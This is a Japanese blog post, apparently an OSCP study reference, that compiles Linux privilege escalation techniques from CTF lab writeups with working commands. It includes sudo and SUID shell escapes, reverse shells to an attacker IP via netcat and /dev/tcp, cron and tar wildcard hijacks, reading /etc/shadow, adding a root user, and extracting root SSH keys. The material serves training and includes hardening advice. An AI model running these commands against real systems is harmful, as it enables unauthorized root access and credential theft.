Post

Linux 権限昇格 — Writeup全網羅分析(OSCP対策版)

TryHackMe・HackTheBox・Proving Grounds の60件超のWriteupから抽出したLinux権限昇格の完全リファレンス。sudo悪用・SUID・Capabilities・Cronジョブ・カーネルエクスプロイト・LXD脱出まで、実機マシン事例とコマンド付きで網羅。

Linux 権限昇格 — Writeup全網羅分析(OSCP対策版)

TL;DR

Linux の権限昇格は CTF マシンおよび OSCP ラボで最も重要なフェーズです。低権限のフットホールドを得た後、root への道は以下のいずれかのパターンを通ることがほとんどです。このガイドは 60 件超の Writeup から頻出テクニックを体系化したものです。

カテゴリ テクニック
列挙 LinPEAS、LinEnum、手動チェックリスト
sudo 悪用 NOPASSWD GTFOBins、LD_PRELOAD、書き込み可能スクリプト、service パストラバーサル
SUID 悪用 find、gdb、python、php、strace、base64、systemctl、bash
Capabilities cap_setuid(python2/3)、cap_net_admin
Cron ジョブ 書き込み可能スクリプト、ワイルドカードインジェクション(tar)、DNS ハイジャック + curl pipe bash、脆弱ツール CVE
ファイルパーミッション /etc/passwd 書き込み可能、/etc/shadow 読み取り可能
サービス悪用 MySQL UDF、root 実行サービス
コンテナ脱出 LXD/LXC、Docker グループ
disk グループ debugfs → ブロックデバイス直接読み取り → SSH 鍵抽出
認証情報の再利用 設定ファイル、サービス DB、pspy + 認証情報収集
カーネルエクスプロイト Dirty COW(CVE-2016-5195)ほか
その他 NFS no_root_squash、PATH ハイジャック

全体の思考フロー

flowchart TD
    A["低権限シェル取得\n(www-data / user)"]

    subgraph ENUM["🔍 列挙"]
        E1["sudo -l"]
        E2["find / -perm -4000"]
        E3["getcap -r / 2>/dev/null"]
        E4["cat /etc/crontab"]
        E5["LinPEAS / LinEnum"]
    end

    subgraph PATH["⬆️ 昇格経路"]
        P1["sudo GTFOBins"]
        P2["SUID バイナリ"]
        P3["Capability 悪用"]
        P4["Cron ジョブ乗っ取り"]
        P5["カーネルエクスプロイト"]
        P6["LXD / Docker"]
    end

    ROOT["root シェル 🏁"]

    A --> ENUM
    ENUM --> PATH
    P1 & P2 & P3 & P4 & P5 & P6 --> ROOT

    style A fill:#c0392b,color:#fff
    style ROOT fill:#27ae60,color:#fff

クイック判断マトリックス

ベクター 検出コマンド 難易度 確認マシン
sudo NOPASSWD sudo -l GTFOBins バイナリなら即時 Simple CTF、Jordak、BBScute、Daily Bugle、Sunday、StuxCTF
SUID 悪用 find / -perm -4000 -type f GTFOBins でワンライナー Gaara、Astronaut、Image、Jarvis、Linux PrivEsc
cap_setuid getcap -r / 2>/dev/null python/perl でワンライナー Levram、Katana
Cron 書き込み可能 cat /etc/crontab; ls -la <script> リバースシェルを追記 GlasgowSmile、Law、Ochima、Funbox、Solidstate
Cron ワイルドカード cat /etc/crontab ファイル名インジェクション Linux PrivEsc、Cockpit、Funboxeasyenum
Cron DNS ハイジャック cat /etc/crontab + /etc/hosts 確認 /etc/hosts + curl pipe bash Overpass
Cron + ツール CVE cat /etc/crontab + ツールバージョン ツール脆弱性で RCE HTB Pilgrimage(binwalk)
LXD グループ idlxd グループ確認 コンテナで /mnt/root をマウント Tabby
disk グループ iddisk グループ確認 debugfs でブロックデバイス読み取り Extplorer、Fanatastic
MySQL UDF root 実行中、プラグインディレクトリ書き込み可 カスタム .so → RCE Linux PrivEsc
Dirty COW uname -r(< 4.8.3) 競合状態による上書き Linux PrivEsc、Driftingblue6
LD_PRELOAD sudo -l で env_keep 確認 sudo プロセスに .so を注入 Linux PrivEsc
shadow 読み取り可能 ls -la /etc/shadow オフラインハッシュクラック Linux PrivEsc
認証情報の再利用 設定ファイル、サービス DB su / SSH Codo、Fired、Btrsys2-1、Mantis

Phase 0 — 列挙

テクニックを試す前に、必ず徹底的に列挙します。SUID ビットや Cron ジョブを見落とすのが、詰まる最大の原因です。

手動チェックリスト

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# 1. 自分の権限確認
id && whoami && groups

# 2. sudo 権限
sudo -l

# 3. SUID/SGID バイナリ
find / -perm -4000 -type f 2>/dev/null       # SUID
find / -perm -2000 -type f 2>/dev/null       # SGID

# 4. Linux Capabilities
getcap -r / 2>/dev/null

# 5. Cron ジョブ
cat /etc/crontab
ls -la /etc/cron* /var/spool/cron/

# 6. root 所有の書き込み可能ファイル
find / -writable -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

# 7. カーネルバージョン
uname -r

# 8. ユーザー・パスワード情報
cat /etc/passwd
cat /etc/shadow 2>/dev/null

# 9. root で動くサービス
ps aux | grep root
ss -tlnp

自動列挙ツール

1
2
3
4
5
6
7
8
# LinPEAS(最も包括的)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
./LinEnum.sh -s -k keyword -r report -e /tmp/

# linux-exploit-suggester-2
perl linux-exploit-suggester-2.pl

ワークフロー: まず sudo -lgetcap を手動で実行(数秒で完了し、最も高確率な 2 つのベクターを網羅)。その後 LinPEAS でより深い調査を実施。


1. sudo 設定ミス

1a. NOPASSWD + GTFOBins バイナリ

最も一般的な即時突破口。sudo -l でパスワードなしに root として実行できるバイナリが見つかり、そのバイナリが GTFOBins に掲載されているケース。

1
2
3
4
5
6
# sudo 権限を確認
sudo -l

# 出力例:
# User mitch may run the following commands:
#   (root) NOPASSWD: /usr/bin/vim

主なバイナリとエスケープコマンド:

バイナリ コマンド 確認マシン
vim sudo vim -c ':!/bin/bash' または コマンドモードで :!bash Simple CTF
find sudo find . -exec /bin/sh \; -quit Linux Privilege Escalation
env sudo env /bin/bash Jordak
nano sudo nano^R^Xreset; sh 1>&0 2>&0 Linux Privilege Escalation
less sudo less /etc/passwd!/bin/bash Linux Privilege Escalation
python sudo python -c 'import os; os.system("/bin/bash")' 複数マシン
bash sudo bash StuxCTF
wget TF=$(mktemp); echo '#!/bin/sh\n/bin/bash' > $TF; chmod +x $TF; sudo wget --use-askpass=$TF http://127.0.0.1 HTB Sunday
yum TF=$(mktemp -d) + プラグイン設定 → sudo yum -c $TF/yum.conf Daily Bugle
hping3 sudo hping3 --icmp target → プロンプトで /bin/sh -p BBScute
strace sudo strace -o /dev/null /bin/sh -p Image(SUID)
flowchart LR
    A["sudo -l で判明\nNOPASSWD: /usr/bin/vim"]
    B["sudo vim -c ':!/bin/bash'"]
    C["root シェル取得\n(vim が /bin/bash をフォーク\n権限を維持したまま)"]

    A --> B --> C

    style C fill:#27ae60,color:#fff

1b. sudo スクリプトへの書き込み可能

sudoers でカスタムスクリプトが指定されており、そのスクリプトに書き込み権限がある場合:

1
2
3
4
5
# sudoers: (root) NOPASSWD: /opt/scripts/mysql-backup.sh
# スクリプトがクォートなし変数を使用 → bash 比較バイパス可能

sudo /opt/scripts/mysql-backup.sh
# パスワードプロンプトにワイルドカード * を入力 → 比較バイパス

実例: HTB Codifymysql-backup.sh がクォートなし bash 文字列比較を行っており、* でバイパスして root パスワードを取得。

1c. LD_PRELOAD(env_keep)

sudo -lenv_keep+=LD_PRELOAD がある場合、悪意のある共有ライブラリを sudo コマンドに注入できます:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# root シェルを起動する共有ライブラリをコンパイル
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); setuid(0);
    system("/bin/bash");
}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c

# sudo 許可バイナリを LD_PRELOAD 付きで実行
sudo LD_PRELOAD=/tmp/shell.so find

確認マシン: TryHackMe Linux PrivEsc

1d. sudo service — パストラバーサル

sudo /usr/sbin/service が NOPASSWD で許可されている場合、サービス名引数にパストラバーサルを注入して任意バイナリを実行できます:

1
2
3
# sudoers: (root) NOPASSWD: /usr/sbin/service
sudo /usr/sbin/service ../../bin/bash
# root シェル

service コマンドは最終的に /etc/init.d/<引数> を呼び出します。../../bin/bash を注入することで /bin/bash が root として実行されます。

確認マシン: Crane


2. SUID 悪用

SUID ビットが設定されたバイナリは、実行者に関わらず、ファイルのオーナー(通常 root)として動作します。

1
2
# SUID バイナリを検索
find / -perm -4000 -type f 2>/dev/null
flowchart TD
    A["find / -perm -4000 -type f"]
    B{"GTFOBins に掲載?"}
    C["ワンライナーで root シェル"]
    D["バージョン固有のエクスプロイトを確認"]

    A --> B
    B -- あり --> C
    B -- なし --> D

    style C fill:#27ae60,color:#fff

主な SUID 悪用手法

find に SUID:

1
2
find . -exec /bin/sh -p \; -quit
# -p: 実効 UID を維持(root を保持)

gdb に SUID (Gaara):

1
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

python に SUID:

1
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

base64 に SUID — root として任意のファイルを読み取り (Linux Privilege Escalation):

1
base64 /etc/shadow | base64 --decode

systemctl に SUID (Jarvis):

1
2
3
4
5
6
7
8
9
10
# 悪意のある systemd サービスユニットを作成
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod u+s /bin/bash"
[Install]
WantedBy=multi-user.target' > $TF
systemctl link $TF
systemctl enable --now $TF
# その後: /bin/bash -p

php に SUID (Astronaut):

1
php -r 'pcntl_exec("/bin/sh", ["-p"]);'

strace に SUID (Image):

1
2
strace -o /dev/null /bin/sh -p
# strace が root で動作(SUID)→ /bin/sh が root を継承

hping3 に SUID:

1
2
3
# hping3 インタラクティブプロンプトで:
hping3
hping3> /bin/sh -p

参考: 見慣れない SUID バイナリはすべて GTFOBins で確認してください。数百種類の悪用パスが掲載されています。


3. Linux Capabilities

Capabilities は細粒度の権限機能です。バイナリに cap_setuid=ep が設定されている場合、SUID と実質的に同等であり、プロセスの UID を 0 に変更できます。

1
2
3
4
5
getcap -r / 2>/dev/null
# 出力例:
# /usr/bin/python3.10 = cap_setuid+ep
# /usr/bin/python2.7  = cap_setuid+ep
# /usr/bin/ping       = cap_net_raw+ep
sequenceDiagram
    participant U as 低権限ユーザー
    participant P as python3 (cap_setuid)
    participant S as /bin/bash

    U->>P: python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
    Note over P: cap_setuid により setuid(0) が可能
    P->>S: os.system("/bin/bash")
    S->>U: root シェル (#)

ワンライナー:

1
2
# cap_setuid 付き python
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'

確認マシン: LevramKatana

Capability 意味
cap_setuid setuid(0) が可能 → 完全な root 昇格
cap_net_raw Raw ソケットアクセス(パケットスニッフィング等)
cap_dac_override ファイルの読み書き権限チェックをバイパス
cap_sys_admin ほぼ root: マウント、syslog 等

4. Cron ジョブ悪用

Cron ジョブは root として実行されますが、低権限ユーザーが変更できるファイルを実行することがあります。

1
2
3
cat /etc/crontab
# 例:
# * * * * * root /opt/cleanup.sh

4a. 書き込み可能なスクリプト

Cron スクリプトに書き込み権限があれば、リバースシェルのペイロードを追記します:

1
2
3
4
5
6
ls -la /opt/cleanup.sh
# -rwxrwxr-x root root /opt/cleanup.sh   ← 書き込み可能!

echo 'busybox nc 10.10.14.5 4444 -e /bin/bash' >> /opt/cleanup.sh
nc -nlvp 4444
# Cron 実行を待つ → root シェル

確認マシン: GlasgowSmileLaw

4b. ワイルドカードインジェクション(tar)

Cron スクリプトが書き込み可能なディレクトリで tar cf /backup.tar * を実行する場合、-- で始まるファイル名が tar オプションとして解釈されます:

1
2
3
4
5
6
7
8
9
10
11
12
# 対象 Cron: tar cf /backup/archive.tar /home/user/*

# リバースシェルペイロードの作成
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf

# 「オプション」ファイルの作成
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=shell.elf'

# Cron 実行を待つ → root リバースシェル
nc -nlvp 4444

確認マシン: TryHackMe Linux PrivEscCockpitFunboxeasyenum

sequenceDiagram
    participant CR as cron (root)
    participant TAR as tar
    participant SH as shell.elf

    CR->>TAR: tar cf archive.tar *
    Note over TAR: * が展開され以下を含む<br/>--checkpoint=1<br/>--checkpoint-action=exec=shell.elf
    TAR->>SH: shell.elf を実行(root として)
    SH-->>CR: 攻撃者へリバースシェル接続

4c. Cron + /etc/hosts DNS ハイジャック

Cron ジョブが curl http://<ホスト名>/script.sh | bash を実行しており、/etc/hosts が書き込み可能な場合、curl リクエストを攻撃者のサーバーにリダイレクトできます:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
cat /etc/crontab
# * * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash

ls -la /etc/hosts
# -rw-rw-rw- 1 root root /etc/hosts   ← 書き込み可能!

# ホスト名を攻撃者 IP に向ける
echo '10.10.14.5 overpass.thm' >> /etc/hosts

# 攻撃者側: リバースシェルを配信
mkdir -p /var/www/html/downloads/src/
echo '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.5/4444 0>&1' > /var/www/html/downloads/src/buildscript.sh
python3 -m http.server 80

nc -nlvp 4444
# Cron 実行を待つ → root シェル

確認マシン: Overpass

4d. Cron + 脆弱なツール(CVE 悪用)

Cron ジョブが既知の CVE を持つツールを実行する場合、その脆弱性を利用して root として RCE を得ます:

1
2
3
4
5
6
7
8
9
10
11
12
# cron: * * * * * root /usr/sbin/malwarescan.sh
cat /usr/sbin/malwarescan.sh
# ... binwalk でアップロードファイルをスキャン

# binwalk バージョン確認
binwalk --help | head -3
# Binwalk v2.3.2   ← CVE-2022-4510(パストラバーサル RCE)

# 悪意のある PNG を作成してスキャン対象ディレクトリに配置
python3 binwalk_CVE-2022-4510.py malicious.png <attacker_ip> <port>
nc -nlvp 4444
# Cron 実行を待つ → root シェル

確認マシン: HTB Pilgrimage(binwalk CVE-2022-4510)


5. /etc/passwd 書き込み可能

/etc/passwd が誰でも書き込み可能な場合、新しい root 相当ユーザーを追加できます:

1
2
3
4
5
6
7
8
9
10
ls -la /etc/passwd
# -rw-rw-rw- 1 root root /etc/passwd   ← 書き込み可能!

# パスワードハッシュを生成
openssl passwd -1 -salt hacker password123
# $1$hacker$...

# UID=0 の新規ユーザーを追記
echo 'hacker:$1$hacker$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker  # パスワード: password123

6. /etc/shadow 読み取り可能 → ハッシュクラック

/etc/shadow が読み取り可能(権限設定ミス)な場合、ハッシュを取得してオフラインでクラックします:

1
2
3
4
5
6
7
8
9
10
ls -la /etc/shadow
# -rw-r--r-- root root /etc/shadow   ← 誰でも読み取り可能!

cat /etc/shadow
# root:$6$...long_hash...:18561:0:99999:7:::

echo '$6$...<root_hash>...' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# または
hashcat -m 1800 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

確認マシン: TryHackMe Linux PrivEscLinux Privilege Escalation


7. MySQL UDF 悪用

MySQL が root として動作しており、root 認証情報(例: 空パスワード)を取得できる場合、悪意のある UDF(ユーザー定義関数)で OS コマンドを root として実行できます。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# MySQL root として接続
mysql -u root

# 悪意のある UDF 共有ライブラリをロード
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

# UDF を作成
create function do_system returns integer soname 'raptor_udf2.so';

# OS コマンド実行(SUID bash を作成)
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');
exit

/tmp/rootbash -p
# root シェル

UDF コンパイル:

1
2
gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

確認マシン: TryHackMe Linux PrivEsc


8. LXD / LXC コンテナ脱出

現在のユーザーが lxd グループに所属している場合、特権コンテナを作成してホストファイルシステムをマウントできます:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
id
# uid=1000(ash) gid=1000(ash) groups=1000(ash),116(lxd)

# 攻撃者マシンで: Alpine イメージをビルド
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder && ./build-alpine
# .tar.gz をターゲットへ転送

# ターゲット上:
lxd init   # すべてデフォルト
lxc image import alpine.tar.gz --alias myimage
lxc init myimage privesc -c security.privileged=true
lxc config device add privesc mydevice disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

# コンテナ内(root として):
cat /mnt/root/root/root.txt
chroot /mnt/root /bin/bash   # ホストファイルシステムへの完全 root アクセス

確認マシン: HTB Tabby

flowchart LR
    A["lxd グループのユーザー"]
    B["特権コンテナ作成\nsecurity.privileged=true"]
    C["ホスト / を /mnt/root にマウント"]
    D["lxc exec → コンテナ内 root"]
    E["chroot /mnt/root\n→ ホスト root アクセス"]

    A --> B --> C --> D --> E
    style E fill:#27ae60,color:#fff

9. disk グループ — debugfs によるブロックデバイス直接読み取り

現在のユーザーが disk グループに所属している場合、debugfs でブロックデバイスを直接読み取れます。ファイルシステムの権限チェックをバイパスして /root/.ssh/id_rsa などのファイルを抽出できます:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
id
# uid=1000(user) gid=1000(user) groups=1000(user),6(disk)

# ブロックデバイスを確認
lsblk

# debugfs でボリュームを開く
debugfs /dev/mapper/ubuntu--vg-ubuntu--lv

# root の SSH 秘密鍵を抽出
debugfs: cat /root/.ssh/id_rsa
# -----BEGIN OPENSSH PRIVATE KEY-----
# ...

# 保存して使用
chmod 600 id_rsa
ssh -i id_rsa root@localhost

確認マシン: ExtplorerFanatastic


10. 設定ファイルからの認証情報再利用

最も見落とされがちですが、成功率が高いベクターの一つ。アプリケーションは設定ファイルに平文や弱いハッシュで認証情報を保存します。低権限シェル取得後は必ず grep で探します:

1
2
3
4
5
6
7
8
9
10
11
# よく使われる設定ファイルの場所
grep -r "password\|passwd\|secret\|credential" /var/www/html/ 2>/dev/null
grep -r "DB_PASS\|db_password\|db_pass" /var/www/ 2>/dev/null
find / -name "*.conf" -o -name "config.php" -o -name "wp-config.php" 2>/dev/null | xargs grep -l "pass" 2>/dev/null

# パスワードが見つかったら su を試みる
su root
su <他のユーザー>

# SSH 認証情報の再利用
ssh root@localhost -p 22

pspy によるプロセス監視 — コマンドラインに渡された認証情報をキャプチャ:

1
2
./pspy64   # または pspy32
# mysqldump、cron スクリプト、--password= フラグ付きコマンドを監視

実例:

  • Codo: /var/www/html/sites/default/config.php → パスワード FatPanda123su root
  • Fired: Openfire DB → パスワード → su root
  • Btrsys2-1: su - で直接ログイン(パスワード roottoor
  • Mantis: pspy で mysqldump を検出 → パスワード → sudo -l で全権限

11. カーネルエクスプロイト — Dirty COW (CVE-2016-5195)

カーネルエクスプロイトは最終手段です。ノイズが大きく、システムをクラッシュさせる可能性があります。まずカーネルバージョンを確認します。

1
2
3
4
5
uname -r
# 4.4.0 → Dirty COW の脆弱性あり

perl linux-exploit-suggester-2.pl
# → dirtycow 等を提案

Dirty COW は Copy-on-Write の競合状態を悪用し、読み取り専用ファイル(SUID バイナリを含む)を上書きします。

1
2
3
4
5
6
# c0w.c(Dirty COW エクスプロイト)をダウンロード・転送
gcc -pthread c0w.c -o c0w
./c0w
# /usr/bin/passwd を root シェルバイナリに置き換え
/usr/bin/passwd
# root シェル

確認マシン: TryHackMe Linux PrivEsc

警告: Dirty COW は本番システムでカーネルパニックやデータ破損を引き起こす可能性があります。ラボ・CTF 環境のみで使用してください。


12. NFS no_root_squash

no_root_squash でエクスポートされた共有がある場合、リモートの root ユーザーがその共有に SUID ファイルを書き込めます:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# ターゲットのエクスポート確認
cat /etc/exports
# /tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)

# 攻撃者(root として): NFS 共有をマウント
mount -o rw,vers=2 <victim_ip>:/tmp /mnt/nfs

# 共有に SUID シェルを作成
cp /bin/bash /mnt/nfs/bash
chmod +xs /mnt/nfs/bash

# ターゲット上:
/tmp/bash -p
# root シェル

13. PATH ハイジャック

SUID バイナリや sudo 許可スクリプトが絶対パスなしでコマンドを呼び出す場合、$PATH の先頭に悪意のあるバイナリを配置します:

1
2
3
4
5
6
7
8
9
10
11
# 例: SUID バイナリが "service apache2 restart" を呼び出す
strings /usr/local/bin/suid-binary | grep -v "^/"
# → "service"(相対パス)

# PATH をハイジャック
mkdir /tmp/hijack
echo '#!/bin/bash\nbash -p' > /tmp/hijack/service
chmod +x /tmp/hijack/service
export PATH=/tmp/hijack:$PATH
/usr/local/bin/suid-binary
# root シェル

権限昇格ワークフロー

flowchart TD
    START["低権限シェル取得"]

    A["sudo -l"]
    B{"NOPASSWD エントリあり?"}
    B1["GTFOBins → 即時 root"]

    C["find / -perm -4000"]
    D{"異常な SUID?"}
    D1["GTFOBins → root"]

    E["getcap -r /"]
    F{"cap_setuid?"}
    F1["setuid(0) → root"]

    G["cat /etc/crontab\nスクリプトの権限確認"]
    H{"書き込み可能スクリプト?"}
    H1["ペイロード追記 → root"]

    I["LinPEAS フルスキャン"]
    J["カーネルバージョン確認"]
    K["最終手段: カーネルエクスプロイト"]

    START --> A --> B
    B -- あり --> B1
    B -- なし --> C --> D
    D -- あり --> D1
    D -- なし --> E --> F
    F -- あり --> F1
    F -- なし --> G --> H
    H -- あり --> H1
    H -- なし --> I --> J --> K

    style B1 fill:#27ae60,color:#fff
    style D1 fill:#27ae60,color:#fff
    style F1 fill:#27ae60,color:#fff
    style H1 fill:#27ae60,color:#fff
    style K fill:#e67e22,color:#fff

検出・ハードニング(Blue Team)

ベクター 検出方法 対策
sudo GTFOBins /etc/sudoers を GTFOBins リストと照合 不要な NOPASSWD エントリを削除;コマンドパスを明示指定
SUID 悪用 find / -perm -4000 のベースライン + 日次差分 不要なバイナリの SUID を削除;nosuid マウントオプションを使用
cap_setuid CI/CD での getcap -r / 監査 必要な Capability のみ付与;インタープリタへの cap_setuid は避ける
Cron 乗っ取り Cron スクリプトのファイル整合性監視 書き込み権限を制限;root 所有・700 権限スクリプトを使用
LXD 脱出 グループメンバーシップの定期監査 必要な場合以外 lxd グループからユーザーを削除
Dirty COW uname -r 監視;パッチ管理 カーネルパッチ適用(> 4.8.3 で修正済み)

テクニック別マシン一覧

テクニック マシン
sudo GTFOBins(vim/find/env/nano/less/bash) Simple CTFJordakStuxCTFLinux PrivEsc
sudo GTFOBins(wget/yum) HTB SundayDaily Bugle
sudo GTFOBins(hping3/strace) BBScuteImage
sudo service パストラバーサル Crane
sudo 書き込み可能スクリプト HTB CodifyHTB NibblesJarvis
sudo LD_PRELOAD Linux PrivEsc
SUID gdb Gaara
SUID php Astronaut
SUID strace Image
SUID systemctl HTB Jarvis
SUID base64 Linux Privilege Escalation
SUID find / カスタムラッパー Nibbles (PG)Mzeeav
cap_setuid python LevramKatana
Cron 書き込み可能スクリプト GlasgowSmileLawOchimaFunboxFluHTB Solidstate
Cron ワイルドカード(tar) Linux PrivEscCockpitFunboxeasyenum
Cron DNS ハイジャック Overpass
Cron + ツール CVE(binwalk) HTB Pilgrimage
disk グループ + debugfs ExtplorerFanatastic
設定ファイル認証情報再利用 CodoFiredBtrsys2-1Mantis
LXD コンテナ脱出 HTB Tabby
MySQL UDF Linux PrivEsc
カーネル(Dirty COW) Linux PrivEscDriftingblue6
パスワードハッシュクラック Linux PrivEscLinux Privilege Escalation

まとめ・重要ポイント

  1. 常に sudo -lgetcap から始める — 最速かつ最高確率な 2 つのチェック
  2. GTFOBins で確認してからカスタムエクスプロイトを書く — 異常な SUID/Capability/sudo バイナリはまず GTFOBins をチェック
  3. Cron + 書き込み可能スクリプト = 信頼できる root 経路 — SUID も sudo もなくても Cron の権限を確認
  4. カーネルエクスプロイトは最終手段 — ノイズが大きくクラッシュリスクあり、でも時に唯一の経路
  5. LXD/Docker グループメンバーシップ = root 確定 — シェル取得直後に idlxddocker グループを確認

参考リンク・関連記事

This post is licensed under CC BY 4.0 by the author.